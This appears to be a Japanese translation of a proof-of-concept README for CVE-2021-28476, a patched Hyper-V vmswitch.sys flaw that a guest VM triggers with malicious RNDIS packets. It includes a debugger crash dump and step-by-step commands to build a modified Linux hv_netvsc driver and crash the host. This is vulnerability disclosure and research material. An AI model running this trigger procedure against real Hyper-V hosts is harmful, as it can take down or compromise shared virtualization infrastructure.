CVE-2021-28476: ゲストからホストへの「Microsoft Hyper-V リモートコード実行の脆弱性」(vmswitch.sys)

これは CVE-2021-28476 (「Hyper-V リモートコード実行の脆弱性」) の概念実証です。vmswitch.sys (ネットワーク仮想化サービスプロバイダー) における任意のメモリ読み取りであり、2021年5月にMicrosoftによって修正されました。

rel04vsrel05

この脆弱性は @australeo、@ergot86、@peleghd、および @OphirHarpaz によって発見されました。ゲスト仮想マシンが VMBus (パーティション間通信に使用されるチャネルベースの通信メカニズム) を介して悪意のあるRNDISパケットを送信することでトリガー可能です。

trigger

デバッガでのホストシステムクラッシュの様子は次のとおりです。

*** Fatal System Error: 0x0000007e
                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:
fffff801`31412c50 cc              int     3

kd> .cxr 0xffffb70dd7eb6860
rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000
rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00
rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0
 r8=0000000000000000  r9=000000000000013b r10=deadbeefbaadc0be
r11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001
r14=00000000000021f0 r15=fffff80ad4bc7360
iopl=0         nv up ei pl zr na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050246
vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:
fffff80a`d4a41a63 418b4a20        mov     ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????

kd> kp
 # Child-SP          RetAddr               Call Site
00 ffffb70d`d7eb7260 fffff80a`d4a3ee41     vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb
01 ffffb70d`d7eb7300 fffff80a`d4a3fc76     vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d
02 ffffb70d`d7eb7380 fffff80a`d4a3c779     vmswitch!RndisDevHostHandleSetMessage+0x196
03 ffffb70d`d7eb7420 fffff801`3136f423     vmswitch!RndisDevHostControlMessageWorkerRoutine+0x199
04 ffffb70d`d7eb74c0 fffff801`3123a975     nt!IopProcessWorkItem+0x93
05 ffffb70d`d7eb7530 fffff801`3132ce85     nt!ExpWorkerThread+0x105
06 ffffb70d`d7eb75d0 fffff801`31412408     nt!PspSystemThreadStartup+0x55
07 ffffb70d`d7eb7620 00000000`00000000     nt!KiStartSystemThread+0x28

バグ自体は VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST 内で発生します。この関数は攻撃者が制御するデータ（本来はそうあるべきではない）で呼び出される可能性があり、悪意のあるゲスト仮想マシンが提供できるポインタを二重に逆参照します（下記の boom->_win）。

boom

もしこれに興味があれば、@peleghd と @OphirHarpaz が、BlackHat USA 2021 の hAFL1: Our Journey of Fuzzing Hyper-V and Discovering a 0-Day と題したプレゼンテーションで、このバグや発見プロセスについて詳しく説明します。

PoCの実行

PoCを実行する最も簡単な方法は、最新の Ubuntu Focal を実行するLinux仮想マシンを作成することです。

それが完了したら、対応するカーネルソースをクローンします。

$ uname -a
Linux tourdeforce 5.4.0-73-generic #82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git
$ cd ubuntu-focal
$ git checkout Ubuntu-5.4.0-73.82
$ git branch fbl_vswitch
$ git checkout fbl_vswitch

~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c を src/netvsc_drv.c で、~/ubuntu-focal/drivers/net/hyperv/rndis_filter.c を src/rndis_filter.c で、~/ubuntu-focal/drivers/net/hyperv/hyperv_net.h を src/hyperv_net.h で置き換えます（完全な差分は cve-2021-28476.diff にあります）。

$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves
$ cp /boot/config-5.4.0-73-generic .config
$ make oldconfig
$ make modules
$ make M=drivers/net/hyperv

最後に、モジュールをロードし、ネットワークインターフェースのイーサネットアドレスを変更することで問題をトリガーします（この操作により、rndis_filter.c / netvsc_set_mac_addr に追加した特定のコードパスがトリガーされます）。

$ sudo rmmod hv_netvsc && insmod drivers/net/hyperv/hv_netvsc.ko
$ sudo ifconfig eth0 hw ether 00:11:22:33:44

著者

Axel '@0vercl0k' Souchet

CVE-2021-28476

人気

CVE-2021-28476: ゲストからホストへの「Microsoft Hyper-V リモートコード実行の脆弱性」(vmswitch.sys)

PoCの実行

著者